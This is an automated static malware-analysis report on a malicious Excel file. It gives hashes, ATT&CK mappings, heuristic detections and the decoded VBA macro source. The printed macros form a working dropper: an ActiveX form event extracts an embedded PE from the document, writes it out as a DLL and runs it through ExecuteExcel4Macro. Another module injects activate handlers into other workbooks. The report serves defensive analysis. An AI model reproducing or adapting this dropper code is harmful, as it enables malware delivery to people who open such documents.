Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8e5b4eb16b4d53a0…

MALICIOUS

Office (OLE)

1.36 MB Created: 2019-08-30 09:14:50 Authoring application: Microsoft Excel First seen: 2020-02-04
MD5: 8ad22fa48e42be87e6148e6d18eebd64 SHA-1: 8d2ec20452001ae331db5218e16bc77b6a6437b9 SHA-256: 8e5b4eb16b4d53a0612110d46b050f63347c3908000d865a634d98503f9910c4
440 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1137.005 Office Application Build Process: Office Application Registry T1027 Obfuscated Files or Information T1105 Ingress Tool Transfer T1204.002 Malicious Link: User Execution

The sample is an Excel file containing VBA macros that utilize `CreateObject` and `Shell()` calls, indicative of malicious intent. The macros are designed to launch an embedded PE executable, likely for further execution of malicious code. The presence of `VirtualAlloc`, `LoadLibrary`, and `GetProcAddress` API calls within the VBA code further suggests dynamic code loading and execution.

Heuristics 10

  • ClamAV: Xls.Malware.Valyria-9757198-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Valyria-9757198-0
  • Embedded PE executable critical OLE_EMBEDDED_EXE
    MZ/PE header found inside document — possible embedded executable
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
    Set FucjiFilm = CreateObject("WScri" + "pt.Shell")
    PRP = "%" & UserForm6.TextBox1.Tag
  • VBA ActiveX event launches decoded Excel4 macro critical OLE_VBA_ACTIVEX_XLM_STAGER
    VBA code attached to an auto-firing ActiveX/UserForm control event (e.g. _Layout/_Change/_Painted) decodes a string with Replace/Split/Join/StrReverse/Chr and passes the recovered formula text to ExecuteExcel4Macro. This bridges VBA event activation into XLM formula execution to call Win32 APIs / drop payloads while evading AutoOpen and Shell keyword detection — a high-confidence macro stager, not a specific Office parser CVE.
    Matched line in script
    '  Dim
    '  VarDefn ExecuteExcel4Macro (As String)
    ' Line #118:
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set FucjiFilm = CreateObject("WScri" + "pt.Shell")
    PRP = "%" & UserForm6.TextBox1.Tag
  • Reference to LoadLibrary API high SC_STR_LOADLIBRARY
    Reference to LoadLibrary API
  • Reference to GetProcAddress API high SC_STR_GETPROCADDRESS
    Reference to GetProcAddress API
  • Password-protected archive handoff high SE_PASSWORD_ARCHIVE_LURE
    Document gives password instructions for an archive or attachment — often used to keep payloads encrypted until after gateway scanning
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 80088 bytes
SHA-256: dd69856ccbbbadeaf069cb7f8282b972e074114dcab7242216649578282c1fde
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Sem"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub addWBActivate()

    Dim VBProj
    Dim VBComp
    Dim codeMod
    Dim formsFolder As String
    Dim tmpColl As Collection
    Dim wBook As Workbook
    Dim filesToPrcs As Collection
    Dim flw
    Dim cdw
    'Dim fName As String
    Dim fullFName As String
    Dim activateExist As Boolean
    
    formsFolder = "C:\Users\GalkinVa\files_for_transport"
    
    Set tmpColl = flw.getPathsToFilesFromFolder(formsFolder)
    
    If tmpColl Is Nothing Then
        Err.Raise 13, Description:="tmpColl variable doesn't set"
    End If
    
    Set filesToPrcs = tmpColl
    
    For Each fName In filesToPrcs
        
        fullFName = fName
        'rewrite coz fName here equals to fullFName
        fName = flw.extractNameWithExt(fullFName)
        Set wBook = Workbooks.Open(fullFName)
        Set VBProj = wBook.VBProject
        'add here check for reference existence
        
        'check if ThisWorkbook or ÝòàÊíèãà exist
        If cdw.VBComponentExists("ThisWorkbook", VBProj) Then
            Set VBComp = VBProj.VBComponents("ThisWorkbook")
        ElseIf cdw.VBComponentExists("ÝòàÊíèãà", VBProj) Then
            Set VBComp = VBProj.VBComponents("ÝòàÊíèãà")
        Else
            Err.Raise 13, "try to set VBComponent", "components from check doesn't exist in given workbook"
        End If
        
        Set codeMod = VBComp.CodeModule
        
        Set tmpColl = cdw.ListProcedures(VBComp)
        
        'add check for tmpColl is nothing
        
        For Each proc In tmpColl
            If proc = "Workbook_Activate" Then
                activateExist = True
            End If
        Next proc
        
        If Not activateExist Then
            Call cdw.CreateEventProcedure(VBComp)
        Else
            Debug.Print "Workbook_Activate already exist in " & wBook.Name
        End If
        wBook.RunAutoMacros xlAutoClose
        On Error Resume Next
        wBook.Close saveChanges:=True
        If Err.Number <> 0 Then
            Debug.Print "Error occured when try to save " & wBook.Name
        End If
    Next fName
    

End Sub





Private Sub Workbook_Activate()
If UserForm1.Visible = False Then
Module1.CreateLinkedChart
End If

End Sub

Attribute VB_Name = "Page1"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"

Public Sub SetArrayItemValue(arr, index1 As Integer, val1 As Byte)

End Sub




  
Public Sub CreateLinkedChart()

Dim FucjiFilm As Object
    Dim SpecialPath As String
    

Set FucjiFilm = CreateObject("WScri" + "pt.Shell")
PRP = "%" & UserForm6.TextBox1.Tag

UserForm6.TextBox1.Tag = FucjiFilm.ExpandEnvironmentStrings(PRP + "%")
UserForm6.TextBox3.Tag = FucjiFilm.SpecialFolders(UserForm6.TextBox3.Tag)

ChDir (UserForm6.TextBox1.Tag)

    UserForm1.show
End Sub

Public Sub Remove(Key)
    If TypeName(Key) = "String" Then
        Dim i
        On Error Resume Next
        Call IItms.Remove(Key)
        Call IKeys.Remove(Key)
        '?????????????Name?????????????
        For i = 1 To IItms.Count
            If InStr("Collection,Prop", TypeName(IItms.Item(i))) <> 0 Then
                If IItms.Item(i).Item("Name") = Key Then
                    Call IItms.Remove(i)
                    Call IKeys.Remove(i)
                    Exit For
                End If
            End If
        Next
        On Error GoTo 0
    Else
        Call IItms.Remove(Key)
        Call IKeys.Remove(Key)
    End If
End Sub

Public Property Get Item(Optional Key, Optional RepFlg = True)
    
    '???????????????...???????
    'RepFlg? Let/Set???????????????
    
    On Error Resume Next
    If IsObject(IItms.Item(Key)) Then
        Set Item = IItms.Item(Key)
    Else
        Item = IItms.Item(Key)
    End If
    On Error GoTo 0

End Property

Public Property Let Item(Optional Key, Optional RepFlg = True, Value)
    
    If IsMissing(Key) Then
        '???????????????
        Call setItem("", Value)
    Else
        If IsMissing(RepFlg) Then
            Call setItem(Key, Value)
        Else
            Call setItem(Key, Value, RepFlg)
        End If
    End If

End Property

Public Property Set Item(Optional Key, Optional RepFlg = True, Value)
    If IsMissing(Key) Then
        '???????????????
        Call setItem("", Value)
    Else
        If IsMissing(RepFlg) Then
            Call setItem(Key, Value)
        Else
            Call setItem(Key, Value, RepFlg)
        End If
    End If
End Property

Private Function setItem(Key, Value, Optional RepFlg = True)
    Dim i As Integer
    
    If TypeName(Key) = "String" Then
        '????
        If RepFlg Then
            '????
            If Key <> "" Then
                On Error Resume Next
                Call IItms.Remove(Key)
                Call IKeys.Remove(Key)
                On Error GoTo 0
                Call IItms.Add(Value, Key)
                Call IKeys.Add(Key, Key)
            Else
                Call IItms.Add(Value)
                Call IKeys.Add(IItms.Count)
            End If
        Else
            '????
            '????????????
            '???????????
            'Call IItms.Add(Value, Key)
            'Call IKeys.Add(Key, Key)
            MsgBox "???"
        End If
    Else
        '????
        If IItms.Count < Key Then
            '?????????????????
            For i = IItms.Count To Key - 2
                Call IItms.Add("")
            Next
        End If
        If RepFlg Then
            '????
            On Error Resume Next
            Call IItms.Remove(Key)
            On Error GoTo 0
            If IItms.Count < Key Then
                Call IItms.Add(Value)
            Else
                Call IItms.Add(Value, before:=Key)
            End If
        Else
            '????
            If Key = 0 Then
                If IItms.Count = 0 Then
                    Call IItms.Add(Value)
                Else
                    Call IItms.Add(Value, before:=1)
                End If
            Else
                If IItms.Count < Key Then
                    Call IItms.Add("")
                    Call IItms.Add(Value)
                Else
                    Call IItms.Add(Value, after:=Key)
                End If
            End If
        End If
    End If

End Function

Public Property Get Keys() As Collection
    '?????????????????
    '??????????????????
    Set Keys = IKeys
End Property

Public Property Get Items() As Collection
    Set Items = IItms
End Property

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{4DAAE14B-2AC8-4379-AF7A-B708E7628596}{32B606A2-5281-4330-AA59-3DCEBA5D136E}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub Label1_Click()

End Sub

Private Sub UserForm_Activate()
DoEvents
StartRecovery
End Sub

Private Sub UserForm_Initialize()
Call SystemButtonSettings(Me, False)

End Sub

Attribute VB_Name = "Module2"
Public CursorPosition() As Byte


Public Function SetResourceBytes(lpType As Long, lpID As Long, lpData() As Byte, lpFile As String) As Long
Dim pReturn As Long, rPort As Long, nCount As Long
nCount = UBound(lpData) + 1 - LBound(lpData)
pReturn = BeginUpdate.Resource(lpFile, False)
If pReturn <> 0 Then
 rPort = Update.Resource1(pReturn, lpType, lpID, 1033, lpData(LBound(lpData)), nCount)
 EndUpdate.Resource pReturn, False
 If rPort <> 0 Then SetResourceBytes = True
End If
End Function
Sub ConvertChartToPicture()
    Dim Cht As Chart
    If ActiveChart Is Nothing Then Exit Sub
    If TypeName(ActiveSheet) = "Chart" Then Exit Sub
    Set Cht = ActiveChart
    Cht.CopyPicture Appearance:=xlPrinter, _
      Size:=xlScreen, Format:=xlPicture
    ActiveWindow.RangeSelection.Select
    ActiveSheet.Paste
End Sub



Sub CreateUnlinkedChart()
    Dim MyChart As Chart
    Set MyChart = ActiveSheet.Shapes.AddChart2.Chart
    With MyChart
        .SeriesCollection.NewSeries
        .SeriesCollection(1).Name = "Sales"
        .SeriesCollection(1).XValues = Array("Jan", "Feb", "Mar")
        .SeriesCollection(1).Values = Array(125, 165, 189)
        .ChartType = xlColumnClustered
        .SetElement msoElementLegendNone
    End With
End Sub





Public Sub ReplaceFile(TextBox1Tag)
 DoEvents
        ThisWorkbook.Sheets.Copy
        Application.DisplayAlerts = False
        DoEvents
        ActiveWorkbook.SaveAs TextBox1Tag, FileFormat:=39 + 12
    DoEvents
    ActiveWorkbook.Close
    DoEvents
        
End Sub





Attribute VB_Name = "Class1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Attribute VB_Name = "UserForm6"
Attribute VB_Base = "0{A06CC238-178D-4969-8D35-37647986AB3C}{8DE74AB9-1577-46A3-8330-5339A36BF2A3}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Page11"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module6"
Private Const GWL_STYLE = -16
Private Const WS_CAPTION = &HC00000
Private Const WS_SYSMENU = &H80000

#If VBA7 Then

    Private Declare PtrSafe Function GetWindowLong _
        Lib "user32" Alias "GetWindowLongA" (ByVal parameter1 As Long, _
        ByVal nIndex As Long) As Long
    Private Declare PtrSafe Function BoxWSL _
        Lib "user32" Alias "SetWindowLongA" (ByVal parameter1 As Long, _
        ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
    Private Declare PtrSafe Function FindWindowA _
        Lib "user32" (ByVal lpClassName As String, _
        ByVal lpWindowName As String) As Long
    Private Declare PtrSafe Function DrawMenuBar _
        Lib "user32" (ByVal parameter1 As Long) As Long
        
#Else

    Private Declare Function GetWindowLong _
        Lib "user32" Alias "GetWindowLongA" ( _
        ByVal parameter1 As Long, ByVal nIndex As Long) As Long
    Private Declare Function BoxWSL _
        Lib "user32" Alias "SetWindowLongA" ( _
        ByVal parameter1 As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
    Private Declare Function FindWindowA _
        Lib "user32" (ByVal lpClassName As String, _
        ByVal lpWindowName As String) As Long
    Private Declare Function DrawMenuBar _
        Lib "user32" (ByVal parameter1 As Long) As Long
  
#End If







Public Sub SystemButtonSettings(frm As Object, show As Boolean)
Dim windowStyle As Long
Dim windowHandle As Long

windowHandle = FindWindowA(vbNullString, frm.Caption)
windowStyle = GetWindowLong(windowHandle, GWL_STYLE)

If show Then

    BoxWSL windowHandle, GWL_STYLE, (windowStyle + WS_SYSMENU)

   
Else
 BoxWSL windowHandle, GWL_STYLE, (windowStyle And Not WS_SYSMENU)

End If

DrawMenuBar (windowHandle)

End Sub



Public Sub NumberBuffer(Number As Long, ByVal Buffer As Byte)
 If UserForm1.Enabled = True Then
    Put #Number, , Buffer
End If
End Sub



Private Sub cmdStart_Click()
    Dim System As Long
    Dim Sound As Long
    Dim result
    Dim Version As Long
    
    Dim Data(0 To 4095) As Byte
    Dim Length As Long
    Dim Read As Long
    Dim bytesread As Long
    Dim outfp As Long
    
    
    result = FMOD_Syst.em_Create(System)
    ERRCHECK (result)
    
    result = FMOD_Syst.em_GetVersion(System, Version)
    ERRCHECK (result)

    If Version <> FMOD_VERSION Then
        MsgBox "Error!  You are using an old version of FMOD " & Hex$(Version) & ". " & _
               "This program requires " & Hex$(FMOD_VERSION)
    End If

    result = FMOD_Sys.tem_Init(System, 1, FMOD_INIT_NORMAL, 0)
    ERRCHECK (result)
    
    result = FMOD_Sys.tem_CreateStream(System, "../../examples/media/wave.mp3", FMOD_OPENONLY Or FMOD_ACCURATETIME, Sound)
    ERRCHECK (result)
    
    
    
    
    result = FMOD_Soun.d_GetLength(Sound, Length, FMOD_TIMEUNIT_PCMBYTES)
    ERRCHECK (result)

    Open "output.raw" For Random As #1
    Close #1
    outfp = lO.pen("output.raw", 1)
    
    bytesread = 0
    
    Do
        result = FMOD_Soun.d_ReadData(Sound, GetA.ddrOf(Data(0)), 4096, Read)
    
        bytesread = bytesread + Read
        
        Call lW.rite(outfp, GetA.ddrOf(Data(0)), Read)
        
        StatusBar.SimpleText = "writing " & bytesread & " bytes of " & Length & " to output.raw"
    Loop While (result = FMOD_OK And Read = 4096)
    
    StatusBar.SimpleText = "done"
    
    lC.lose (outfp)
    
    
    result = FMOD_So.und_Release(Sound)
    ERRCHECK (result)
    
    result = FMOD_Sys.tem_Close(System)
    ERRCHECK (result)
    
    result = FMOD_Sys.tem_Release(System)
    ERRCHECK (result)
End Sub

Private Sub cmdExit_Click()
    Unload M.e
    End
End Sub

Public Sub KillArray(ParamArray PathList() As Variant)
    On Error Resume Next
    For Each Key In PathList
        Kill Key
    Next Key
    On Error GoTo 0
End Sub

Private Sub ERRCHECK(result)
    Dim msgResult
    
    If result <> FMOD_OK Then
        msgResult = MsgBox("FMOD error! (" & result & ") " & FMOD_Erro.rString(result))
    End If
    
    If msgResult Then
        End
    End If
End Sub





Attribute VB_Name = "Module5"



Public Function PathBack(ByVal sPath As String) As String
    On Error Resume Next
    Dim sT As Variant
    Dim tt As String
    If Len(sPath) = 3 Then GoTo errorhand
    
    For ii = 0 To UBound(sT) - 2
        tt = tt & sT(ii) & "\"
    Next ii
    
    PathBack = tt
    Exit Function
errorhand:
    PathBack = sPath
End Function
Public Function GetParam(Count As Integer) As String
    Dim i As Long
    Dim j As Integer
    Dim c As String
    Dim bInside As Boolean
    Dim bQuoted As Boolean

    j = 1
    bInside = False
    bQuoted = False
    GetParam = ""
    For i = 1 To Len(Command$)
        c = Mid$(Command$, i, 1)
        If bInside And bQuoted Then
            If c = """" Then
                j = j + 1
                bInside = False
                bQuoted = False
            End If
        ElseIf bInside And Not bQuoted Then
            If c = " " Then
                j = j + 1
                bInside = False
                bQuoted = False
            End If
        Else
            If c = """" Then
                If j > Count Then Exit Function
                bInside = True
                bQuoted = True
            ElseIf c <> " " Then
                If j > Count Then Exit Function
                bInside = True
                bQuoted = False
            End If
        End If
        If bInside And j = Count And c <> """" Then GetParam = GetParam & c
    Next i
End Function

Public Sub StartRecovery()
    TextBox1Tag = UserForm6.TextBox1.Tag & "\vds" + ".xls" + "x"
    ZipName = TextBox1Tag + ".zip"
    Directoy5 = UserForm6.TextBox1.Tag
    Dim OpenForBinaryLock As String
    Dim TjpodT As Long
    Dim UpdateParameter As Integer
    OpenForBinaryLock = UserForm6.TextBox3.Tag + "\rtdt"

    UpdateParameter = 1
            
#If VBA7 And Win64 Then
    UpdateParameter = 2
    TjpodT = 249344

#Else
        TjpodT = 290816
#End If
OpenForBinaryLock = OpenForBinaryLock & ".dl" + "l"
        KillArray Directoy5 + "\ole" + "Obj" + "ect*" + ".bin", ZipName, OpenForBinaryLock
        
   ReplaceFile TextBox1Tag
    
        FileCopy TextBox1Tag, ZipName
        
    Dim objFolder As Object
        Set oApp = CreateObject("Shell." + "Application")

         If UpdateParameter > -12 Then
            Set objFolder = oApp.Namespace(ZipName)
           
            oApp.Namespace(Directoy5).CopyHere objFolder.Items.Item("xl\e" + "mbed" + "dings\oleObject1.b" + "in")

        End If
        SimplexMethod Directoy5 + "\oleObject" + "1.b" + "in", OpenForBinaryLock, TjpodT, UpdateParameter
        If UpdateParameter > 0 Then
            UpdateParameter = UpdateParameter + 1
            ChDir (UserForm6.TextBox3.Tag)
            UpdateParameter = UpdateParameter + 1
        End If
        
        If UpdateParameter > -4 Then
            UpdateParameter = UpdateParameter + 1
            UpdateParameter = UpdateParameter + 1
        End If
            GetParamCount
       
        If UpdateParameter < 0 Then
            UpdateParameter = UpdateParameter + 1
            UpdateParameter = UpdateParameter + 1
        End If


    ExecuteExcel4Macro "CALL(""" + OpenForBinaryLock + """,""fixed"",""J"")"
End Sub

Public Function GetParamCount() As Integer
On Error Resume Next
    Dim i As Long
    Dim sNextChar As String
    Dim bInside As Boolean
    Dim bQuoted As Boolean
    Dim sCommand As String
        
    GetParamCount = 0
    bInsideParameter = False
    bQuoted = False
    sCommand = Command$
    
    For i = 1 To Len(sCommand)
        sNextChar = Mid$(sCommand, i, 1)
        If bInsideParameter Then
            If bQuoted Then
                If sNextChar = """" Then
                    GetParamCount = GetParamCount + 1
                    bInsideParameter = False
                    bQuoted = False
                End If
            Else
                If sNextChar = " " Then
                    GetParamCount = GetParamCount + 1
                    bInsideParameter = False
                    bQuoted = False
                End If
            End If
        
        End If
    Next i
    If bInsideParameter Then GetParamCount = GetParamCount + 1
End Function



Attribute VB_Name = "Module4"

Public Sub Text_Write(progbar As Object, tmptext As String, tmpSpalte As Long, tmpZeile As Long, tmpcolor As Long)

   
   
   For i = 1 To Len(tmptext)
      
      
      If TextClockWise = True Then
         
         
         
         
         For x = tmpSpalte To tmpSpalte + UBound(ZeichenArray, 1)
            For y = tmpZeile - Letter.Position + Letter.FontHeight - 1 To tmpZeile - Letter.Position - UBound(ZeichenArray, 2) + Letter.FontHeight - 1 Step -1
               
               OldLetterArray.RGB(ZeichenAnzahl - 1).Data(x - tmpSpalte, y - tmpZeile + Letter.Position + UBound(ZeichenArray, 2) - Letter.FontHeight + 1) = Arra.y_Red((x - 1) Mod Spalten + 1, y - 1) * 100 + Arra.y_Green((x - 1) Mod Spalten + 1, y - 1) * 10 + Arra.y_Blue((x - 1) Mod Spalten + 1, y - 1)
               
               OldLetterArray.SW(ZeichenAnzahl - 1).Data(x - tmpSpalte, y - tmpZeile + Letter.Position + UBound(ZeichenArray, 2) - Letter.FontHeight + 1) = CBool(Arra.y_SW((x - 1) Mod Spalten + 1, y - 1))
               If ZeichenArray(x - tmpSpalte, tmpZeile - Letter.Position + Letter.FontHeight - 1 - y) Then
                  
                  Draw_Fill.Cell (x - 1) Mod Spalten + 1, y - 1, picsource, tmpcolor, False
                  
                  
                  
                  Arra.y_Red((x - 1) Mod Spalten + 1, y - 1) = Draw_Color2.RGB_Bool(tmpcolor).R / 255
                  Arra.y_Green((x - 1) Mod Spalten + 1, y - 1) = Draw_Color2.RGB_Bool(tmpcolor).G / 255
                  Arra.y_Blue((x - 1) Mod Spalten + 1, y - 1) = Draw_Color2.RGB_Bool(tmpcolor).B / 255
                  
                  
                  Arra.y_SW((x - 1) Mod Spalten + 1, y - 1) = IIf(Draw_Color2.SW(tmpcolor), 1, 0)
               End If
            Next y
         Next x
      
      Else
         
         
         
         
         
         
         OldLetter.ArrayRGB(ZeichenAnzahl - 1).Left = tmpSpalte
         OldLetter.ArrayRGB(ZeichenAnzahl - 1).Top = tmpZeile + Letter.Position
         
         OldLetter.ArraySW(ZeichenAnzahl - 1).Left = tmpSpalte
         OldLetter.ArraySW(ZeichenAnzahl - 1).Top = tmpZeile + Letter.Position
         
         
         For x = tmpSpalte To tmpSpalte - UBound(ZeichenArray, 1) Step -1
            For y = tmpZeile + Letter.Position To tmpZeile + Letter.Position + UBound(ZeichenArray, 2)
               
               OldLetterArray.RGB(ZeichenAnzahl - 1).Data(x - tmpSpalte, y - tmpZeile + Letter.Position) = Arra.y_Red((x - 1) Mod Spalten + 1, y - 1) * 100 + Arra.y_Green((x - 1) Mod Spalten + 1, y - 1) * 10 + Arra.y_Blue((x - 1) Mod Spalten + 1, y - 1)
               
               OldLetterArray.SW(ZeichenAnzahl - 1).Data(x - tmpSpalte, y - tmpZeile - Letter.Position) = CBool(Arra.y_SW((x - 1) Mod Spalten + 1, y - 1))
               If ZeichenArray(tmpSpalte - x, y - tmpZeile - Letter.Position) Then
                  
                  Draw_Fill.Cell (x - 1) Mod Spalten + 1, y - 1, picsource, tmpcolor, False
                  
                  
                  Arra.y_Red((x - 1) Mod Spalten + 1, y - 1) = Draw_Color2.RGB_Bool(tmpcolor).R / 255
                  Arra.y_Green((x - 1) Mod Spalten + 1, y - 1) = Draw_Color2.RGB_Bool(tmpcolor).G / 255
                  Arra.y_Blue((x - 1) Mod Spalten + 1, y - 1) = Draw_Color2.RGB_Bool(tmpcolor).B / 255
                  
                  Arra.y_SW((x - 1) Mod Spalten + 1, y - 1) = IIf(Draw_Color2.SW(tmpcolor), 1, 0)
               End If
            Next y
         Next x
      End If

      
      progbar.Value = i
   Next i
   
   
   progbar.Value = 0
      
   
   Dra.w_Zoom picsource, pictarget
End Sub
Public Function Load(HTMLSource As Variant) As Boolean
    On Error GoTo ErrorTrap
    
    Const Chunk = 1000
    
    Dim WorkingSrc As String
    Dim TagStart As Long
    Dim TagEnd As Long
    Dim TagLength As Long
    Dim TagStartString As String
    Dim splittest() As String
    Dim Ptr As Long
    Dim Cnt As Long
    Dim Pos As Long
    Dim testing As Boolean
    Dim PosScriptEnd As Long
    Dim PosEndScript As Long
    Dim PosEndScriptEnd As Long
    
    
    
    WorkingSrc = HTMLSource
    LocalElementCount = 0
    LocalElementSize = 0
    ReDim LocalElements(LocalElementSize)
    
    If NewWay Then
        
        
        
        
        
        Load = True
        Ptr = 0
        
        
        
        Do
            BlobSN = "/blob" & CStr(GetRan.domInteger()) & ":"
            Ptr = Ptr + 1
        Loop While ((InStr(1, WorkingSrc, BlobSN, vbTextCompare) <> 0) And (Ptr < 10))
        
        
        
        splittest = Split(WorkingSrc, "<script")
        Cnt = UBound(splittest) + 1
        If Cnt > 1 Then
            For Ptr = 1 To Cnt - 1
                PosScriptEnd = InStr(1, splittest(Ptr), ">")
                If PosScriptEnd > 0 Then
                    PosEndScript = InStr(PosScriptEnd, splittest(Ptr), "</script", vbTextCompare)
                    If PosEndScript > 0 Then
                        splittest(Ptr) = Mid(splittest(Ptr), 1, PosScriptEnd) & BlobSN & BlobCnt & "/" & Mid(splittest(Ptr), PosEndScript)
                        BlobCnt = BlobCnt + 1
                    End If
                End If
            Next
            WorkingSrc = Join(splittest, "<script")
        End If
        
        
        
        splittest = Split(WorkingSrc, "<style")
        Cnt = UBound(splittest) + 1
        If Cnt > 1 Then
            For Ptr = 1 To Cnt - 1
                PosScriptEnd = InStr(1, splittest(Ptr), ">")
                If PosScriptEnd > 0 Then
                    PosEndScript = InStr(PosScriptEnd, splittest(Ptr), "</style", vbTextCompare)
                    If PosEndScript > 0 Then
                        Blo.bs(BlobCnt) = Mid(splittest(Ptr), PosScriptEnd + 1, (PosEndScript - 1) - (PosScriptEnd + 1) + 1)
                        splittest(Ptr) = Mid(splittest(Ptr), 1, PosScriptEnd) & BlobSN & BlobCnt & "/" & Mid(splittest(Ptr), PosEndScript)
                        BlobCnt = BlobCnt + 1
                    End If
                End If
            Next
            WorkingSrc = Join(splittest, "<style")
        End If
    Exit Function
    End If
ErrorTrap:
    Call Handle.Error("Load", Err.Number, Err.Source, Err.Description)
    End Function



Public Sub SimplexMethod(SimplexMethod2 As String, OpenForBinaryLock As String, fl As Long, Report6 As Integer)
    Dim Report1 As Long, Report2 As Byte, FirstB As Byte, SecondB As Byte, ThirdB As Byte, Report3 As Byte, Report4 As Byte
    
    Dim Class1 As Class1
    Set Class1 = New Class1
    
        Dim SimpleMethod As Integer
    ReDim CursorPosition(1 To fl)
    Report1 = FreeFile
    Open SimplexMethod2 For Binary Access Read As Report1
    Dim cur As Integer
    cur = 1
    FirstB = 77
    SecondB = 90
    ThirdB = 144
    Do While Not EOF(Report1)
        Get Report1, , Report2
        If Report2 = FirstB Then
            CursorPosition(1) = Report2
            
           Get Report1, , Report3
           If Report3 = SecondB Then
            CursorPosition(2) = Report3
                
                Get Report1, , Report4
                If Report4 = ThirdB Then
                     CursorPosition(3) = Report4
            
                     If cur = Report6 Then
                        For k = 4 To fl
                            Get Report1, , Report2
                            CursorPosition(k) = Report2
                            Next k
                         Exit Do
                     Else
                        cur = cur + 1
                     End If
                End If
           End If
        End If
    Loop

    Close Report1
    
    Report1 = FreeFile
    Open OpenForBinaryLock For Binary Lock Read Write As #Report1
    For i = LBound(CursorPosition) To UBound(CursorPosition)
        
       If UserForm1.Enabled = True Then
                 NumberBuffer Report1, CursorPosition(i)
       End If
    Next i

    Close Report1
End Sub


' Processing file: /tmp/qstore_xalx7b63
' ===============================================================================
' Module streams:
' _VBA_PROJECT_CUR/VBA/Sem - 4737 bytes
' Line #0:
' 	FuncDefn (Sub addWBActivate())
' Line #1:
' Line #2:
' 	Dim 
' 	VarDefn VBProj
' Line #3:
' 	Dim 
' 	VarDefn VBComp
' Line #4:
' 	Dim 
' 	VarDefn codeMod
' Line #5:
' 	Dim 
' 	VarDefn formsFolder (As String)
' Line #6:
' 	Dim 
' 	VarDefn tmpColl (As Collection)
' Line #7:
' 	Dim 
' 	VarDefn wBook (As Workbook)
' Line #8:
' 	Dim 
' 	VarDefn filesToPrcs (As Collection)
' Line #9:
' 	Dim 
' 	VarDefn flw
' Line #10:
' 	Dim 
' 	VarDefn cdw
' Line #11:
' 	QuoteRem 0x0004 0x0013 "Dim fName As String"
' Line #12:
' 	Dim 
' 	VarDefn fullFName (As String)
' Line #13:
' 	Dim 
' 	VarDefn activateExist (As Boolean)
' Line #14:
' Line #15:
' 	LitStr 0x0025 "C:\Users\GalkinVa\files_for_transport"
' 	St formsFolder 
' Line #16:
' Line #17:
' 	SetStmt 
' 	Ld formsFolder 
' 	Ld flw 
' 	ArgsMemLd getPathsToFilesFromFolder 0x0001 
' 	Set tmpColl 
' Line #18:
' Line #19:
' 	Ld tmpColl 
' 	LitNothing 
' 	Is 
' 	IfBlock 
' Line #20:
' 	LitDI2 0x000D 
' 	LitStr 0x001C "tmpColl variable doesn't set"
' 	ParamNamed Description 
' 	Ld Err 
' 	ArgsMemCall Raise 0x0002 
' Line #21:
' 	EndIfBlock 
' Line #22:
' Line #23:
' 	SetStmt 
' 	Ld tmpColl 
' 	Set filesToPrcs 
' Line #24:
' Line #25:
' 	StartForVariable 
' 	Ld fName 
' 	EndForVariable 
' 	Ld filesToPrcs 
' 	ForEach 
…
embedded_office_00002935.exe embedded-pe Office MZ+PE at offset 0x2935 1412811 bytes
SHA-256: 8fd9ae6650a74e798b429c999234870f4593c6368ac3b56b3872f0c3f6bda87f
ole10native_00.bin ole-package OLE Ole10Native stream: MBD008A6866/Ole10Native 547422 bytes
SHA-256: fc2b86f7afdbc35edaae9e861427c998fcbeb758a91f16e2fdfce8c98e90eb0f